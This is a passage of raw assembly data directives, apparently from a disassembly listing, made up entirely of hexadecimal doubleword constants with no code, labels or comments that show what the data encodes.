		dd 0DFDDF835h, 1DAA0474h, 80143FE8h, 0A31FA7F7h, 1E037612h
		dd 5942720Ah, 56283862h, 6330D730h, 66F202ABh, 8C1F083Eh
		dd 0E13FEC9Fh, 781203B0h, 89C71770h, 0FC57DAC0h, 0E2ADCD00h
		dd 7E5E5513h, 0E44C036Ah, 5429E925h, 0F8A12FD0h, 1A83DB00h
		dd 7A20E5EAh, 233033C3h, 0D4D0E0B0h, 7B209876h,	0EDE800F3h
		dd 2B29C71Ch, 0E9184879h, 0B1111E15h, 0ECB8A0E7h, 7383007Ch
		dd 8F215927h, 28E8241Ch, 0DE53F914h, 87207Ch, 0FFA7F613h
		dd 0D52169ABh, 5F973B00h, 1B184CF2h, 49731D0Ah,	0AF64E6h
		dd 0FF601F89h, 2A48D108h, 8A007527h, 0D9A1223Eh, 1DE37FEh
		dd 9DC94C6Eh, 0F199F64Bh, 9BE1D4D2h, 7DD6F51Eh,	596CB783h
		dd 50FAF0D4h, 512A0EAEh, 0B2C044AAh, 0E7799545h, 1E7EA300h
		dd 8011EE01h, 2640005Dh, 33DF602Eh, 93009BB2h, 34B77C29h
		dd 4C25976Ch, 0F5004EF2h, 0C6E3CF0Eh, 1400376Dh, 1CB965FAh
		dd 3C84EB6h, 17F1A98Dh,	0C54ACAh, 393B60FAh, 0BE384F5Dh
		dd 10832696h, 532F00B9h, 0D22A4E3h, 55E87Ch, 4B85DB5Dh
		dd 6054469Ah, 8FD49100h, 8884D77Ah, 38F066h, 639D3EAAh
		dd 0BB270C86h, 0D430B04h, 4090D407h, 62E856h, 0F19444A1h
		dd 9D092285h, 0CB64CE00h, 8DBDAB24h, 44A31E3Dh,	43764E7Bh
		dd 7020034Ah, 16432EA0h, 0DF00A7Fh, 80F02AF4h, 0B3421003h
		dd 47078721h, 1F949F5Bh, 24906E44h, 19599869h, 0F98E301Bh
		dd 5EB36061h, 0E976FC00h, 903F99CEh, 0DE810F43h, 8073B9D7h
		dd 0B5DBF2C8h, 0BC5EEA07h, 0F8E37FCAh, 308249Ah, 2A3D8084h
		dd 12BEFBEBh, 2D056C7Ch, 0DF33206Dh, 2068242Bh,	0A9378024h
		dd 12619585h, 27292F00h, 0A160569Ah, 0E3D90707h, 0C0E83E9Bh
		dd 89DB32D5h, 1ED07E60h, 0DFEC5455h, 0A1B73948h, 91D90419h
		dd 0E82D50E4h, 7906A4BCh, 35A3E3E0h, 0DA30C548h, 0CA45F0Dh
		dd 2768ECE1h, 0DB1040F1h, 5580F1A3h, 0F36A29F0h, 42D381BCh
		dd 18FF20CAh, 3B268871h, 0F1935909h, 0D635802Dh, 60FEAAD4h
		dd 18FB41E6h, 2304F043h, 6EF459F3h, 91053CD7h, 0C84AD440h
		dd 0B3BF87h, 40B1807Fh,	70A507E7h, 7BC02554h, 3B26A174h
		dd 7740605Eh, 9CC33ADh,	3FF4531Fh, 46F6C187h, 0D40031EEh
		dd 673233B6h, 0AF9B144h, 0E4C81EB0h, 0AEBE80C4h, 558D0B89h
		dd 0A800E0F2h, 680DB6D5h, 681A43Ah, 0EA07B77Ah,	72078131h
		dd 9269F046h, 0E8DFA8A1h, 0E48E8h, 8CB26CB8h, 3035687Ah
		dd 5730FFF4h, 0C9A4D881h, 0E62F0FB8h, 0EB40E931h, 3771B02Eh
		dd 0DCF92467h, 1E9EC130h, 0B9A700BEh, 361AA320h, 241F05C8h
		dd 981C89F4h, 303C950Ch, 0EC5E33E9h, 0EFBAB2E1h, 6840D6C2h
		dd 0BA49D7D1h, 0EAB88244h, 48CDC15Dh, 5C4C4423h, 0EB29A680h
		dd 0FF523F1Fh, 65B300D4h, 0D00470FCh, 54FB22BCh, 12556316h
		dd 458C9002h, 0CBCC4111h, 42045A18h, 1F97212Dh,	0A3232632h
		dd 77ACB04Eh, 65F296h, 0CA11B07Ch, 0F4F93322h, 5B032C0Ch
		dd 0FFD9E8h, 32619DE5h,	0A653F83Bh, 4235D700h, 0E3F2CC91h
		dd 50C6002Ah, 76280D9Dh, 6312C889h, 0C3053E5h, 23C23267h
		dd 7218E31Fh, 0B91621h,	87765033h, 0F0BA1BA3h, 862E4804h
		dd 0C4876422h, 0FCFE6300h, 0CC4E5C68h, 8C698850h, 2F425C02h
		dd 197AE721h, 0E41D102Bh, 0DBFD0026h, 0D4EC2D3Bh, 0CCA0E68Eh
		dd 0E2FB036Ch, 12C0806Bh, 600019C0h, 0DE7FFF08h, 0E880A755h
		dd 9521C3D8h, 73F019C8h, 7A0A6783h, 2029036Dh, 0C519C140h
		dd 2277460Bh, 699409A1h, 0C2007C20h, 399F3BDh, 10023FB0h
		dd 0B930AC32h, 0FB8449BAh, 0ACCCFC24h, 426102ECh, 476F20B8h
		dd 14107519h, 2B0959E9h, 80834E74h, 586E8C60h, 0A13500C9h
		dd 82F26804h, 5C066AC6h, 5E15E293h, 3F3C0010h, 6B1FB9BBh
		dd 0A0704ABEh, 3162E658h, 0A719205Fh, 1E73E8h, 4B290435h
		dd 9DE3AB88h, 0C681EA00h, 84992362h, 5F440059h,	5DFF03F0h
		dd 0C8003F1Ch, 0BCFCF938h, 6E8626Fh, 68EEE5FBh,	21F38EDh
		dd 0B85257h, 845C3C18h,	37D9FA72h, 9078453Fh, 0F3B89C5Ah
		dd 0F712DF2Eh, 0E986761Ch, 0E40F8DCh, 8344EF5Ch, 1DEBC898h
		dd 0A400B1DFh, 0C5224E41h, 20C76714h, 0E286C128h, 11BF1Eh
		dd 45CAD5A4h, 334340B9h, 1D088901h, 19C4210Eh, 0AE1AA0D4h
		dd 7A4854h, 0E0AAA7Fh, 0FABE0FE1h, 0EB21A526h, 485E7030h
		dd 0D48E3E39h, 40EB150Ch, 8F67E89h, 6745F01h, 5EC1E16Eh
		dd 8066B16Fh, 8310121h,	0EA9A42Eh, 7D19D3D5h, 9AEA6B60h
		dd 0A758DC9Dh, 616F784Fh, 0C8CC05F1h, 27B6DC20h, 8D0A0C72h
		dd 24105577h, 0D7EEC00Ch, 4CDE319Dh, 4133B2C7h,	0DFF89A30h
		dd 0D7792125h, 0ED94BB05h, 0A04EC583h, 58069290h, 7105D48h
		dd 5F9FBC66h, 0C661400Eh, 62745645h, 892180EDh,	9AC49E5Bh
		dd 7FE00734h, 0B12B0458h, 80420871h, 0C34699E1h, 2AA97EB4h
		dd 22D42337h, 2B014062h, 1E4C4964h, 4452FDA9h, 9F8F3004h
		dd 640E3A08h, 31D96660h, 9F86CC00h, 77B51F99h, 0C43354B8h
		dd 3B028C13h, 56759108h, 100D196Fh, 0F9357h, 0AC5112B6h
		dd 36E23296h, 0A750D60Ch, 2C69D2h, 0BC17103Fh, 0AFDC29C3h
		dd 96568903h, 0E8DD9120h, 1E6B7587h, 818DA0FDh,	9B9DBC7Bh
		dd 5E24C4CAh, 3108BC91h, 0BBC960E3h, 0E6E61E13h, 97194486h
		dd 81DFAD3Fh, 6B634CAAh, 5DF0C465h, 5CEF4009h, 95945307h
		dd 16D3F1CCh, 7151B858h, 0B2825075h, 0F4F45212h, 297B57C7h
		dd 67928804h, 0AF04D405h, 888C4719h, 2000F5F9h,	3C00D415h
		dd 6A1E466Ch, 0D7A9C4h,	0DCC71B71h, 0F4FDFA36h,	3DF73Dh
		dd 8151C2CCh, 6DB54Ch, 0F1269680h, 55E62D8Ch, 0EF002CE8h
		dd 5B1A4EB0h, 0BC97DD5h, 0A85ADF43h, 0C01099A4h, 3CB71EB9h
		dd 0B9075B00h, 8BABCEF6h, 6B4F28Ch, 283F362Bh, 0E200B079h
		dd 0DF308FD9h, 0B14C7h,	8FD60AFh, 5873E49Fh, 5AE0E200h
		dd 0C427CDADh, 92F20039h, 0E159810Bh, 67004A3Fh, 0B01712EFh
		dd 1C939Eh, 0A11F5AC9h,	3DA964ABh, 35341B1Fh, 8FB58580h
		dd 0CDA3F3h, 0FEC8C4F9h, 818BA1CCh, 59E85000h, 196DC588h
		dd 450D0052h, 3B8DBF99h, 0F002BFEh, 0F73C90D3h,	1FB07E78h
		dd 0DF63858Ch, 46200119h, 40E4E114h, 0D9531D80h, 62800160h
		dd 301A0E71h, 2B400B82h, 0BF00785Ah, 0C241CD1h,	18766160h
		dd 8052FBA1h, 6D00CF9Eh, 1C4158D5h, 115F82h, 0ECA2B4D3h
		dd 136CBCF5h, 452C9014h, 179F14F0h, 0C97F0A80h,	0EC0C041h
		dd 211ED6DEh, 9C913D67h, 36566E00h, 8A67AE2h, 0C734FE00h
		dd 0F5B7AA9Eh, 8D500011h, 5BA1A560h, 58074722h,	8AEB8E82h
		dd 1DAB2330h, 79520E8Fh, 0F4E7E9FDh, 92CF904Ah,	28001956h
		dd 265ECD35h, 8EF5983h,	151A60Fh, 0F660AEE1h, 0C58E6100h
		dd 13DD39h, 0DA8ADB94h,	0A06735D8h, 0EFBCBE0h, 337A8365h
		dd 3615CEA2h, 45810043h, 0D143D4F8h, 57F1E001h,	0CDA21F95h
		dd 0F920ACCDh, 0C01C5088h, 21D300E4h, 0BAD41644h, 306077C9h
		dd 0C8C545C1h, 406100E0h
		dd 59BC24E6h, 7D00D911h, 9E20EA98h, 90EB3A08h, 0FA070040h
		dd 8AB27105h, 0BB3B404Bh, 1104FE92h, 0F6E4CCFCh, 866208Ch
		dd 6552126Dh, 754056C4h, 69C578A3h, 0CB7E9C00h,	9AFF5839h
		dd 0A9810047h, 7624DDCAh, 50001916h, 37346D03h,	7309C1h
		dd 0BE9E0F96h, 8282FB1h, 0FFE3A100h, 20589CD6h,	0C0AF1EBCh
		dd 3E24433Bh, 400014AEh, 85978AA0h, 40F4F1h, 0E4E8C33Ah
		dd 0B39B0D66h, 107D3700h, 80714A25h, 0CDA40147h, 0F5F60CD9h
		dd 49A0246Bh, 6DC19202h, 66AA505Dh, 81FB02E8h, 7E840E36h
		dd 8810DC19h, 72059F92h, 6DEDF5C1h, 45F088h, 0CAC35308h
		dd 1AEBDE55h, 0CE29402h, 90AE5C91h, 881F530h, 62540E38h
		dd 640D364h, 92CE9F93h,	0F2E8D3Eh, 9D5DB9C8h, 50C22144h
		dd 64A978D2h, 0FBDE00FCh, 25DACA6Ch, 8D01439Dh,	62B50B55h
		dd 0E8C39F1Eh, 199C32Fh, 83FBEB80h, 0F7F4BBC6h,	0C71607C0h
		dd 0F25C8C0Eh, 7784C0F5h, 0B238FCBAh, 0C21F004Ch, 0B09DDF75h
		dd 0D700E06Dh, 0F18CF0B1h, 1332D0h, 2C742994h, 0BA82B09Ch
		dd 8FAF490Ah, 427120F2h, 5C6930FEh, 613866E9h, 31E1C9Ch
		dd 0B52A3866h, 0BA9C0080h, 71BD8DDFh, 200011A5h, 375BB887h
		dd 0E4587216h, 57BA0379h, 0EA42AFCCh, 0FAFAD8D9h, 3A04B4CCh
		dd 5E77F408h, 1E200B62h, 210832h, 0E2532A43h, 275D0F1Ah
		dd 6949B507h, 5041B09Eh, 9C40438Ch, 60E48A1Fh, 0CFA3E0EBh
		dd 18C25E18h, 0C2FA3F7Ch, 0BA7015A8h, 69855FA1h, 0EFC1D78Bh
		dd 242984A1h, 5D4F9E08h, 177A60Bh, 0F84C8C9Ch, 9CD1E844h
		dd 498045EEh, 57C3B56Ah, 520E8C8Fh, 0BD6D5644h,	4CB0CA00h
		dd 7B06E6CEh, 0E03909Eh, 3F16D723h, 0CDDFFA67h,	50B4DDC0h
		dd 0E2293088h, 7EF9748h, 8112F01Fh, 582EF8AAh, 0DBB4215Eh
		dd 3A4BD082h, 0ECA6320h, 0E351CBB9h, 3E7C1F90h,	11EA0E0Dh
		dd 4FA92040h, 0F171C19Eh, 4076B912h, 3D8547B8h,	0E97B7300h
		dd 1E833354h, 0CA7E0B97h, 4E003A43h, 0F0E4949Eh, 0E6D71B15h
		dd 60EFEC04h, 5777118Bh, 2100A6D5h, 0E86B527Dh,	39CD27Ah
		dd 4F13879Dh, 0BA807E1Eh, 0C07BDA9Bh, 52007B7Ch, 0C67DF6B3h
		dd 5095B616h, 0CE34CB8h, 0A5849DCEh, 3424A50h, 1F764F0Eh
		dd 0D704B4A0h, 0A7074445h, 0FA535590h, 7AF69FE0h, 5EE23Bh
		dd 0F13A1BD3h, 22470CCBh, 0E7CEE018h, 0F974AF60h, 439C188h
		dd 63DB0503h, 10590027h, 6FDFF8E9h, 3A480A6Dh, 0D4B015CEh
		dd 78081070h, 0AD8EC300h, 809A01F4h, 62B1643Eh,	0EC459E8h
		dd 0C7A4BC24h, 5E4800BFh, 0B53076F5h, 7439E99Bh, 4CCF5693h
		dd 0B7692Eh, 45371D0h, 0F25468F4h, 0C2142BB4h, 8194E963h
		dd 0F34FF8E0h, 34CFA980h, 534CB7ECh, 0E9489C14h, 447AFF4h
		dd 1EB001ABh, 0B763B52Ah, 6E0440D6h, 0E4C75157h, 48635D8h
		dd 2013F25Fh, 9C0480ADh, 92E8B2Fh, 3D0CAEC5h, 447928C7h
		dd 0A8447390h, 648C444Bh, 11F23245h, 0A0E70881h, 883AF828h
		dd 39888D41h, 0AD438832h, 0CCC50A01h, 26235779h, 89D830h
		dd 4A9DCF83h, 7452D03Fh, 1302D07h, 3BF784B5h, 0B8EACD03h
		dd 0FA7A03h, 0F562CAC5h, 7DC8329Ah, 727BBE01h, 0A9BB2548h
		dd 0B7F01BC9h, 17433AE4h, 45913C80h, 76465685h,	0C6401E1Fh
		dd 2BF91040h, 8BF1A7h, 0EC72FB61h, 231F998Ch, 2274400h
		dd 0D35D2FAh, 3BB500DAh, 0EC1E3980h, 9300C163h,	7CA8D6Eh
		dd 0EC51F6FDh, 0C254241Ch, 1F293C8h, 44D16B0Ah,	2091E185h
		dd 2C1D0593h, 7E401230h, 84A6E2C7h, 0A9670007h,	9B0C6F60h
		dd 2B009F6Bh, 68830189h, 4CC6211h, 0B2803A27h, 86B491DCh
		dd 0A5D88053h, 2CBB0AC8h, 9DAC00D2h, 1A5AB7B3h,	0A67B8B42h
		dd 4FA82B01h, 0B6AD4EF2h, 3E703BE9h, 37E454h, 6E593582h
		dd 33A8DF09h, 131FB300h, 0DE9A7129h, 4AD600F3h,	0D459609Ch
		dd 0B4000C5Ch, 51412B39h, 0E2500A42h, 867C01BDh, 0DA6A3801h
		dd 33730D2h, 0A725E900h, 0AD178216h, 67B70099h,	18E40752h
		dd 9300E07Bh, 71AA3809h, 39EBC9h, 0FEFFD2F9h, 42166C91h
		dd 807E2B3Ch, 0C99BF563h, 0E804F08h, 11143A25h,	0C6B7D360h
		dd 56016610h, 0FDCCD9F8h, 8C40C384h, 115DB6Bh, 9EBD6AC1h
		dd 0D8DD3CEDh, 0F2075229h, 0FF66A19Ah, 36E80BC0h, 0A6300001h
		dd 0D5BE6E4Fh, 0DD027E5Fh, 3D6BE692h, 2AD18047h, 5439CEh
		dd 4A24C775h, 5DA60DB2h, 5766D202h, 60BC2005h, 1DDACCh
		dd 799C5FF5h, 74F2085Eh, 0B7FC1700h, 0D7E114C8h, 952C3E5Ch
		dd 62032F87h, 290F0CBh,	0D3017F66h, 0AE6972A9h,	0E4CD5B5Ch
		dd 2663DCh, 0FBB4B717h,	0F458D387h, 0DD0036E0h,	0B20B5EB9h
		dd 0C02ED6h, 9D796FEEh,	1F5D5B86h, 50D8C404h, 1200F11Bh
		dd 0BDC135A7h, 42DAF24h, 0C649400h, 1C166F39h, 82E157FAh
		dd 8B0EDBB0h, 0B86DE0FFh, 66B00C8h, 0DD4A232h, 5500339Ah
		dd 87EBFFD0h, 3A7A19C1h, 9D83683Ah, 8830461Bh, 32163EE8h
		dd 0E7A0F500h, 0AD6EFB9Ah, 0CEDA0052h, 40AE5A0Eh, 563829B3h
		dd 0EEAB80D5h, 0DBC94A4h, 0E0DC0522h, 814F8068h, 0FB672323h
		dd 11078CD8h, 61484B01h, 6D3119C9h, 0D07BE0h, 871829BDh
		dd 52D5CF9h, 0F7A7CA0Eh, 0B2024E99h, 0B871E300h, 0F0319C7h
		dd 0D9CCBB83h, 2E008834h, 0BD434696h, 0D81CB8EAh, 5B00551Eh
		dd 859371Ah, 234F0039h,	3FE42AD5h, 0F000E3B6h, 801207ECh
		dd 1E01C8BAh, 4016DE8Ch, 9E904769h, 8FFCA8A3h, 0BA3BF200h
		dd 1B709387h, 6F681FEBh, 0B1834E1Eh, 7EF0A4CCh,	3C5B6C00h
		dd 6BE10384h, 0BE1E0014h, 16FBD122h, 0EF0035ABh, 60B4D45Ah
		dd 6798C8h, 0C4A81A5Fh,	193BEE12h, 41439E00h, 306B3D9Fh
		dd 0FC225C4Ah, 0BEB5D200h, 0C55C5E81h, 0C902FB01h, 0E5ADE97Eh
		dd 34846E0h, 9003F779h,	0CCA0C152h, 0CE0004B7h,	0AA1C61C4h
		dd 31A60BC8h, 6A21E23Dh, 0EFB0CCF2h, 0BBE05000h, 1E408D26h
		dd 0FB37B8Fh, 2DE71C4Ch, 9A774E81h, 0A9A8F083h,	3BE0EA00h
		dd 29F6268Bh, 0D1A00093h, 0CD38BBBEh, 5EEAA3ADh, 71C4DB00h
		dd 325CB2Fh, 0AB8F00EBh, 289279FBh, 9B00D6F5h, 4840D201h
		dd 72063F7h, 0A9B8BD42h, 0A85800F1h, 0EB003C4Dh, 6766AE7Bh
		dd 3A761D4Ah, 9DA64F9Bh, 14DE0088h, 5CACF953h, 8F4E091Ch
		dd 8549CF00h, 0FF22C3h,	48F3BFE9h, 0A0B0D3BBh, 5C0320ECh
		dd 0AC31DC70h, 0CE8DD83Fh, 0D91002CDh, 94EE8257h, 9D8F0AAh
		dd 0CC2016C9h, 0B1C1CF9Ch, 0FE0E34E0h, 209487D0h, 668E0CEBh
		dd 790F0F3Eh, 318085DEh, 89BEA7E3h, 15073Ah, 0B402CAA6h
		dd 42C0435h, 9B61DE7Ch,	0D6B98020h, 5BF2B83Ah, 0EC2A4B00h
		dd 0B11CE68Eh, 48027A47h, 0E81FE8FAh, 90FE4080h, 0FC855566h
		dd 65113B1Fh, 0A63DCB04h, 0FD8488h, 0E1E7DD0h, 217F09BEh
		dd 0EC592616h, 0C52EAD01h, 0B6E4803Dh, 0E3DC00CAh, 0F72FA9B4h
		dd 0FC031517h, 4D2454CDh, 8801E0A5h, 4F0403BFh,	17FEA4D2h
		dd 8BF96C90h, 0E0D8D700h, 2C9CE50Fh, 25BB00C6h,	0A3F28C7Ch
		dd 887D6D33h, 28A3100h,	75CAAB3Dh, 0E4830721h, 602D8625h
		dd 0B370F891h, 203EBD1Fh, 6DDBD541h, 460607Fh, 0C7590054h
		dd 1B7E3474h, 41E0CCBh,	0A6C01D0Bh, 3DC8E52h, 0B69800A0h
		dd 825B562Bh, 65DE9BFh,	15E50080h, 0FF6FCEF9h, 9A87D91h
		dd 0A7A920ABh, 0DCCB7480h, 693F1068h, 98930025h, 0E437C84Bh
		dd 7DD40729h, 26D3BDBBh, 0AD032068h, 3D6578BEh,	4810006Fh
		dd 898F2F49h, 380D117Fh
		dd 78D17D9Ah, 505D58E4h, 396D44Fh, 1E86D28Bh, 4CE94E71h
		dd 0C641806Dh, 3639F669h, 5FAB057Ah, 0C0F5427Ch, 5E8A2434h
		dd 9F440200h, 0C0A1D012h, 903F00DEh, 99E28432h,	700B80Ch
		dd 8C208E0Ah, 0AB5D1Bh,	0F9B6A50h, 8F85597Dh, 0BB2ED400h
		dd 729F5784h, 0A3D600CCh, 2FB89352h, 0C1B5EBBEh, 6CF0AD4Ch
		dd 0CDE60077h, 14C3D5D4h, 4A00E316h, 1C302191h,	677C11h
		dd 0A63893F1h, 7E64BBD4h, 5FC3F801h, 3BF77A4Fh,	0CB2C60h
		dd 605E1A09h, 0BAE6C285h, 0AC077E00h, 6C5F0F95h, 0B663281Bh
		dd 8AF0A2h, 9F11CCC9h, 86EF1358h, 87FCF807h, 8A0E14Ah
		dd 58F462Dh, 686BBC48h,	9DA0C007h, 0D9021705h, 30AB617Bh
		dd 0C1946011h, 0F6161673h, 0AD1000CDh, 751301AAh, 5F812400h
		dd 2FF8800Bh, 0D7090098h, 87F02D71h, 0DA14EA40h, 3FEE175Dh
		dd 0D9BC0974h, 0E5BCA3A7h, 0DE94F8F3h, 76EB00A2h, 1CE4B279h
		dd 15003D48h, 20B126FDh, 9D7A3Eh, 0CF6F040Eh, 3F1EED1Fh
		dd 9A94D800h, 9220141Ch, 4B4E01F3h, 0EE370B7Fh,	347D3091h
		dd 0ED7BF600h, 0A126F1DEh, 66D90008h, 0FD4DB71Ch, 0A600BD32h
		dd 0F0E59864h, 0EA353A0Bh, 3E9C030Ah, 8DEC588Fh, 0F4D272E1h
		dd 0DE7C86C1h, 974C2500h, 0AFC550BCh, 0F5F60Fh,	0B1FD1E3Fh
		dd 0C0248B46h, 7F331239h, 607E582Eh, 0CA6B4400h, 0FBBA7C8h
		dd 674E9248h, 9158AE00h, 4402C164h, 0CB0817A4h,	97D8E0EBh
		dd 0B3A10051h, 0F7DAFED5h, 7E00D189h, 0E97A8082h, 3A6F157h
		dd 282DEA87h, 0D3B81E67h, 8E00A72Ch, 0F5E465DBh, 0E2D76CBDh
		dd 0D62F3E0Dh, 14913A00h, 1E4DD399h, 82C72913h,	0C6DFD701h
		dd 13CDA45Bh, 3B109C28h, 0D34D842Bh, 5F21F03h, 509308B0h
		dd 4C4C4A70h, 0DC903D04h, 8C5A137Ch, 0D5C07C80h, 0E7C63047h
		dd 0A4B94E28h, 80E06B4Ch, 0E6B01D17h, 84365887h, 0BEDD900h
		dd 995074D2h, 654CCAA1h, 0C0DDC0CCh, 6080F003h,	0AB7BCC49h
		dd 3D1001C2h, 0F231715Eh, 0F119D47Ah, 0C7409E00h, 0A4E1B986h
		dd 7C1C09D1h, 88EF82Fh,	4B7F0220h, 1500310Ah, 218C253Bh
		dd 959B4Fh, 0F432226Ch,	0FAC49F0h, 0F2946B17h, 0CE14BA00h
		dd 0FD60E5Eh, 4CB850D0h, 6FE3F000h, 0E2000BE5h,	6D8B1767h
		dd 0DD37EDh, 54620F5h, 0AF73A5ECh, 0AA852A00h, 0F99B4A86h
		dd 5F4000FDh, 274E21A9h, 2C17EECCh, 3400DBA3h, 0D51DBCB4h
		dd 846A07FDh, 0F06ED315h, 0D9E44A95h, 5FD49300h, 6C1ADAAEh
		dd 0D8FD483Ah, 85F2C800h, 3398500Ch, 0D638A700h, 2EC15DE2h
		dd 0AA08005Ch, 5FB03778h, 0A3F049DFh, 1136420Eh, 0AF1E20E2h
		dd 1F8694F8h, 0DDE833h,	6A493F91h, 7700C963h, 0F0939978h
		dd 53C02Bh, 0EC50BF74h,	0DBA5AFE9h, 0CAD7F503h,	0C979928Ah
		dd 0FB60519Fh, 344F00D3h, 77EF2160h, 0AA00393Eh, 3A2C9EC6h
		dd 5F192h, 2D7A11B0h, 2882745Bh, 9EF61800h, 80525875h
		dd 7E7B053Ch, 0C33EFD94h, 38A8ED12h, 0D400A10Bh, 7C0C24B8h
		dd 46E0F4h, 0C9677107h,	0CBCF2991h, 864E9500h, 9B600ADFh
		dd 8D62054Ch, 0C0513744h, 159FE3A5h, 8099D03Eh,	0D519D460h
		dd 0D3E861h, 7CA16DAAh,	41F308E0h, 660C6300h, 0C8B08099h
		dd 0B3F81FCAh, 0C0DCDD10h, 845F6893h, 5000AEDh,	0BBA9E8B1h
		dd 25EFADEEh, 7080A01Dh, 8ED211DBh, 528D700h, 94E52707h
		dd 5C41003Ch, 96DC2119h, 0FA70EC70h, 0DF724200h, 501C1BFDh
		dd 6FD400ADh, 0D314EBBAh, 2B07DDBCh, 0C277DFF0h, 9AE0DAC0h
		dd 423738E7h, 2DBCD680h, 8B1D8F7Ch, 55E10F00h, 0A179E038h
		dd 6115094Dh, 0BC020886h, 0FDC0F2B5h, 0B1003FD6h, 0A3F4145Bh
		dd 4F57D89Eh, 51580907h, 37C3F410h, 0AD2AA400h,	44BEAB38h
		dd 50CB005Fh, 0EDA74A0h, 4503B03Ah, 0EC2825F6h,	0E0F0ABAEh
		dd 241254h, 0FCEBF702h,	3449D50Bh, 0A75E8001h, 48CF04E6h
		dd 6092EE20h, 51F0703Fh, 34921873h, 0EF94D400h,	2CDC7E17h
		dd 523C1E27h, 0E95449F9h, 0E1127880h, 0A602998Ch, 0C491AF8Bh
		dd 0DB36C0E8h, 0C9390287h, 0AE1490FFh, 405E4602h, 603F75h
		dd 4CF59422h, 8DBFCFD7h, 0F0036478h, 4193FE38h,	8C339059h
		dd 0E1655CD4h, 0A1847C00h, 0B64881ABh, 4911C500h, 2D579AEFh
		dd 186D003Dh, 0A669B1C1h, 0BC0F7656h, 41E7101Eh, 533F3916h
		dd 0D0A0A4F1h, 257AC0h,	0B2CC3240h, 0F0F37C1Eh,	22185807h
		dd 3D077EE5h, 791145A0h, 680E0A3Fh, 8C0514h, 12C4C7A9h
		dd 3E7ECE87h, 1D655900h, 6BDA7E3Dh, 6322C86h, 739C30C4h
		dd 0C300EE61h, 5C366C75h, 2E62F47h, 0AF62FF20h,	88401F29h
		dd 0B4B0BE01h, 7E107500h, 4A02AABh, 2BA400B8h, 0A6E3DDD5h
		dd 827355EBh, 0C3912D00h, 0FB399587h, 3A1F07BAh, 2B6AC959h
		dd 0B39AE683h, 0AF7D87E0h, 0BD6B6600h, 3D5EA4B7h, 56350014h
		dd 6EA6FE05h, 0A1FF773h, 39D884Dh, 35B75280h, 92EB6BE3h
		dd 9DE90138h, 0F4CFC927h, 11042072h, 237B4800h,	697A774Dh
		dd 8EE500B4h, 0CC2BF747h, 7960A7DFh, 0DBFDC898h, 0E034B0Eh
		dd 46196B0h, 3D61D289h,	8126009Ch, 95AF2ED0h, 0BC7B161Ah
		dd 0F8B501FEh, 0C1F19427h, 2A6B2055h, 0E30AE67h, 0D5E0E630h
		dd 0FA3E0064h, 6CDB15DAh, 794C7774h, 0A875001Bh, 366987F5h
		dd 0F13F494h, 72DCECB2h, 0AB498420h, 85003993h,	19BDA6BEh
		dd 767B1F6Bh, 0B5C5004Ch, 931377B6h, 0F5002789h, 0F8FEF7AAh
		dd 7352D0AFh, 2E88909Ch, 87C482E3h, 20662B44h, 2E08D2A5h
		dd 6F41881Fh, 482E851Eh, 0E1714C00h, 0E03467h, 0CE13F593h
		dd 0D9EC1941h, 3966DD1Eh, 12BC77C0h, 1B0944Dh, 0CCCFA8EFh
		dd 6F8067EDh, 0E7A2C900h, 0BA1DF4h, 0D3A1E604h,	0F0BCC361h
		dd 0A77FAE78h, 0C6521600h, 95556777h, 7B0E9090h, 0D4EF00F2h
		dd 305E3BE3h, 1A000DE7h, 0F5FA5256h, 7B727D24h,	9D76034Ch
		dd 13DEF483h, 270F1D90h, 4A04080Fh, 0CC9440A7h,	0E8E6B5Dh
		dd 2F1A2811h, 0FA7F8AC3h, 0D9CF1490h, 6FAF3600h, 0A9E917F4h
		dd 3BD80234h, 74CC5E78h, 6944F9C0h, 324B1600h, 0FB23DA47h
		dd 53F60767h, 0C12F8D21h, 0DC731B1Ch, 5201D97Bh, 9C36FBCEh
		dd 0C8717085h, 36DA2F0h, 15B784D5h, 13F13182h, 857EC08Bh
		dd 0AE6358h, 9DBE865Eh,	711F5E5h, 0ED934238h, 0B8DFE13Dh
		dd 2365602Dh, 0B27A122Ch, 7D15C300h, 190FBAh, 0A093D0EDh
		dd 116A17CDh, 0EA6E8D00h, 43F8A64Ah, 772B07CAh,	0EEA1A39Dh
		dd 9CBB7360h, 0F1008D0Dh, 83A953BFh, 19D040h, 9BBD8C0Ah
		dd 151C3ABEh, 730BE690h, 88D291h, 10C3EDB6h, 676A0094h
		dd 9E112095h, 0D1149222h, 0E105288h, 98676BFAh,	0E643E98h
		dd 4C305934h, 4AE8E581h, 0C4C1F318h, 3680FF31h,	6800FD1Fh
		dd 0EF88D3F7h, 0AF9371h, 9FAC2467h, 0F1D8EE07h,	441958C0h
		dd 5EAA65h, 7B0E703Bh, 63130740h, 78297F00h, 0DD0BDFF9h
		dd 713F3B5Ch, 77104881h, 0D96AD9F7h, 0C3908512h, 281839EFh
		dd 0C08B7C71h, 1E855FE8h, 10A0D7EEh, 1100FE74h,	0B063790h
		dd 589EF3h, 0D42176Bh, 149C9F94h, 0CA23A707h, 0D26025B3h
		dd 1435B0B6h, 0AC0D2A24h, 6413E200h, 0B75D0A1h,	0EA83B3Eh
		dd 20EB6F72h, 979B04EDh, 4BD90041h, 187DECD4h, 3200390Ah
		dd 0EE6C3B81h, 0C05898F4h, 0B8421DB4h, 2003DE19h, 3C298715h
		dd 0E1DB92CCh, 0B080C20Dh, 1F6175A3h, 0E70E2021h, 2A05CFF2h
		dd 0BEBBCC0Eh, 0B8B400F0h, 7553C4DCh, 0A53300E8h, 8FA35983h
		dd 0BC02B3F9h, 12EDD630h
		dd 7D98A10Eh, 61B80193h, 0E07C2514h, 0D217797Ch, 0C03F1D59h
		dd 125161F0h, 0FF1D446Bh, 0E1000D9Bh, 2921C722h, 7E3B005Fh
		dd 0E2EBF4C4h, 2303A69Fh, 4F30FEAFh, 41A8A003h,	0DE841D15h
		dd 58FB8335h, 0F4F02C8Eh, 1034AB5h, 5F6BD1FEh, 9ECD902Ah
		dd 9D3504EBh, 0BE8F6003h, 0CE92D780h, 91AC3FA8h, 72D8868Ch
		dd 7028EB20h, 0F400F0AEh, 37D90C7Eh, 0B55D88h, 0C36444B9h
		dd 4951539Fh, 470B77Ah,	9005879h, 3623F29Ah, 63E8DA8h
		dd 5F154E55h, 4E008E5h,	0AEE120C0h, 3AEBD4A9h, 0EA005D44h
		dd 3ED81805h, 697503A6h, 0EFF31E1Ch, 0F1DE8B9Dh, 27FA0981h
		dd 0E3DC4261h, 0E7081923h, 8B1F08D4h, 87E15A21h, 51005E22h
		dd 0F91364h, 1E678269h,	0EFF555A2h, 99CF0303h, 78083827h
